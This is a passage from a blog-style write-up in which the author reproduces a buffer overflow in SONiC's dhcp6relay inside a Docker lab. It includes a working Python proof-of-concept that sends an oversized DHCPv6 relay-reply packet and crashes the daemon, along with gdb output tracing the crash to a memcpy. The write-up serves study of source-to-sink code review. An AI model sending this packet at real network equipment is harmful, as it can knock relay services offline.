redis-cli -n 4 HSET "DHCP_RELAY|vlan" dhcpv6_servers "fe80::20c:29ff:fe90:14c5/64"Here it creates a new VLAN interface attached with id 3 (meaning it only receives and sends network frames of VLAN number 3). Then it assigns link-local and non-link-local addresses to the interface. Finally using Redis, connecting to database number 4, and in the hash with key "DHCP_RELAY|vlan, it sets the value of the dhcpv6_servers field to "fe80::20c:29ff:fe90:14c5/64" (meaning it sets the dhcp server address to itself, to have a valid configuration since there’s no actual dhcp server here).
Alright, now I’ll build the PoC, but I need to review the related structs first, these 3 structs are in relay.h:

The struct in6-addr located in usr/include/netinit/in.h has a size of 16 bytes:

The author notes that if a struct is declared with PACKED, then the elements inside the struct will be arranged consecutively in memory, with no padding between fields to optimize memory usage. I think I need to pay attention to this to align things correctly in the PoC.
Here’s the PoC I’ve reproduced, actually it’s a copy of the author’s with a few edits:
import socket
from struct import pack
UDP_IP = "2a00:7b80:451:1::10"
UDP_PORT = 547
DHCPv6_MESSAGE_TYPE_RELAY_REPL = 13
OPTION_RELAY_MSG = 9
pl = pack("B", DHCPv6_MESSAGE_TYPE_RELAY_REPL) # uint8_t msg_type
pl += pack("B", 1) # uint8_t hop_count
pl += b"A" * 16 # struct in6_addr link_address
pl += b"A" * 16 # struct in6_addr peer_address
pl += pack(">H", OPTION_RELAY_MSG) # uint16_t option_code
pl += pack(">H", 2**16 - 1) # uint16_t option_length
pl += b"B" * 2**15
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.sendto(pl, (UDP_IP, UDP_PORT))Now I run the container, then run the add_ipv6_addresses.sh file to configure the interface and initialize the database:
$ docker run -it --cap-add=NET_ADMIN --sysctl net.ipv6.conf.all.disable_ipv6=0 dhcp6relay
root@e4025b55b4e1:/sonic-buildimage/src/dhcp6relay# ls
Makefile add_ipv6_addresses.sh debian dhcp6relay src
root@e4025b55b4e1:/sonic-buildimage/src/dhcp6relay# ./add_ipv6_addresses.sh
Stopping redis-server: redis-server.
Starting redis-server: redis-server.
(integer) 1Running the PoC
In one terminal I run the binary dhcp6relay:
root@e4025b55b4e1:/sonic-buildimage/src/dhcp6relay# ./dhcp6relayIn another terminal I run the exploit:
root@e4025b55b4e1:/tmp# python3 exploit.pyAnd the result is:
root@e4025b55b4e1:/sonic-buildimage/src/dhcp6relay# ./dhcp6relay
Segmentation fault (core dumped)Excellent, I’ve successfully caused buffer overflow and triggered SIGSEGV. Now I’ll run the binary again in gdb and check where it crashes:
root@e4025b55b4e1:/sonic-buildimage/src/dhcp6relay# gdb dhcp6relay
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.2) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from dhcp6relay...
(gdb) run
Starting program: /sonic-buildimage/src/dhcp6relay/dhcp6relay
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7a0bb9fe7700 (LWP 10959)]
Thread 1 "dhcp6relay" received signal SIGSEGV, Segmentation fault.
__memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:262
262 ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S: No such file or directory.
(gdb) backtrace
#0 __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:262
#1 0x00005ef50b6acaa4 in relay_relay_reply (sock=13,
msg=0x5ef50b6d5200 <server_callback(int, short, void*)::message_buffer> "\r\001", 'A' <repeats 32 times>, len=4096,
config=0x5ef5315649e0) at src/relay.cpp:501
#2 0x00005ef50b6ad085 in server_callback (fd=12, event=2, arg=0x5ef5315649e0) at src/relay.cpp:603
#3 0x00007a0bba71713f in ?? () from /lib/x86_64-linux-gnu/libevent-2.1.so.7
#4 0x00007a0bba71787f in event_base_loop () from /lib/x86_64-linux-gnu/libevent-2.1.so.7
#5 0x00005ef50b6ad23a in signal_start () at src/relay.cpp:651
#6 0x00005ef50b6ad649 in loop_relay (vlans=0x7ffe8c10eed0, db=0x7ffe8c10ef10) at src/relay.cpp:744
#7 0x00005ef50b6c0b38 in main (argc=1, argv=0x7ffe8c10f098) at src/main.cpp:10Ok, SIGSEGV at src/relay.cpp:501, which is exactly at our sink function, memcpy.
Conclusion
So I’ve explained this vulnerability and reproduced the PoC for it. In this chapter I’ve learned:
- Basic code review to identify what is a source, what is a sink, what are sanitizers, what is tainted data.
- The Sink-to-source method, how to filter out dangerous sinks, how to trace back to the source.
- Setting up a good testing environment is quite tricky and time consuming cause I tried to do it myself first =))
- If you can’t write a PoC, don’t even talk about it :v
Ok that’s it for this post, thank you so much if you’ve read this :0, I don’t think anyone will actually spend time reading this post =))